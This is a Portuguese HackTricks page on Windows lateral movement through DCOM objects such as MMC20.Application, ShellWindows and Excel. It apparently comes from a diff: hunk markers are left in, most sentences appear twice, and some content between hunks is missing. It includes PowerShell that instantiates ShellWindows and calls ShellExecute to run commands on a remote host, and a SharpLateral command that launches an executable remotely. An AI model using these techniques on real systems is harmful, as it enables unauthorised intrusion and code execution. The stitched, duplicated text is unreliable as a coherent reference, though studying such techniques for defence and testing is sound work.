Objetos do Modelo de Objetos de Componentes Distribuídos (DCOM) apresentam uma capacidade interessante para interações baseadas em rede com objetos. A Microsoft fornece documentação abrangente tanto para DCOM quanto para o Modelo de Objetos de Componentes (COM), acessível [aqui para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [aqui para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Uma lista de aplicações DCOM pode ser recuperada usando o comando PowerShell:
O Modelo de Objeto de Componente Distribuído (DCOM) apresenta uma capacidade interessante para interações baseadas em rede com objetos. A Microsoft fornece documentação abrangente tanto para DCOM quanto para o Modelo de Objeto de Componente (COM), acessível [aqui para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [aqui para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Uma lista de aplicações DCOM pode ser obtida usando o comando PowerShell:
```bash
Get-CimInstance Win32_DCOMApplication
```
@ -55,12 +47,12 @@ ls \\10.10.10.10\c$\Users
**Para mais informações sobre essa técnica, consulte o post original [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
O objeto **MMC20.Application** foi identificado como carente de "LaunchPermissions" explícitos, recorrendo a permissões que permitem acesso de Administradores. Para mais detalhes, um tópico pode ser explorado [aqui](https://twitter.com/tiraniddo/status/817532039771525120), e é recomendado o uso da ferramenta de [@tiraniddo](https://twitter.com/tiraniddo) OleView .NET para filtrar objetos sem permissão de lançamento explícita.
O objeto **MMC20.Application** foi identificado como carente de "LaunchPermissions" explícitos, recorrendo a permissões que permitem acesso de Administradores. Para mais detalhes, um tópico pode ser explorado [aqui](https://twitter.com/tiraniddo/status/817532039771525120), e é recomendado o uso da ferramenta OleView .NET de [@tiraniddo](https://twitter.com/tiraniddo) para filtrar objetos sem Permissão de Lançamento explícita.
Dois objetos específicos, `ShellBrowserWindow` e `ShellWindows`, foram destacados devido à falta de Permissões de Lançamento explícitas. A ausência de uma entrada de registro `LaunchPermission` em `HKCR:\AppID\{guid}` significa a ausência de permissões explícitas.
### ShellWindows
Para `ShellWindows`, que não possui um ProgID, os métodos .NET `Type.GetTypeFromCLSID` e `Activator.CreateInstance` facilitam a instanciação do objeto usando seu AppID. Esse processo utiliza o OleView .NET para recuperar o CLSID para `ShellWindows`. Uma vez instanciado, a interação é possível através do método `WindowsShell.Item`, levando à invocação de métodos como `Document.Application.ShellExecute`.
Para `ShellWindows`, que não possui um ProgID, os métodos .NET `Type.GetTypeFromCLSID` e `Activator.CreateInstance` facilitam a instanciação do objeto usando seu AppID. Esse processo aproveita o OleView .NET para recuperar o CLSID para `ShellWindows`. Uma vez instanciado, a interação é possível através do método `WindowsShell.Item`, levando à invocação de métodos como `Document.Application.ShellExecute`.
Exemplos de comandos PowerShell foram fornecidos para instanciar o objeto e executar comandos remotamente:
```powershell
@ -69,7 +61,7 @@ $obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
```
### Movimentação lateral com Objetos DCOM do Excel
### Movimentação Lateral com Objetos DCOM do Excel
A movimentação lateral pode ser alcançada explorando objetos DCOM do Excel. Para obter informações detalhadas, é aconselhável ler a discussão sobre a alavancagem do Excel DDE para movimentação lateral via DCOM no [blog da Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
@ -118,15 +110,9 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre as vulnerabilidades mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
@ -134,6 +120,6 @@ Outras maneiras de apoiar o HackTricks:
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>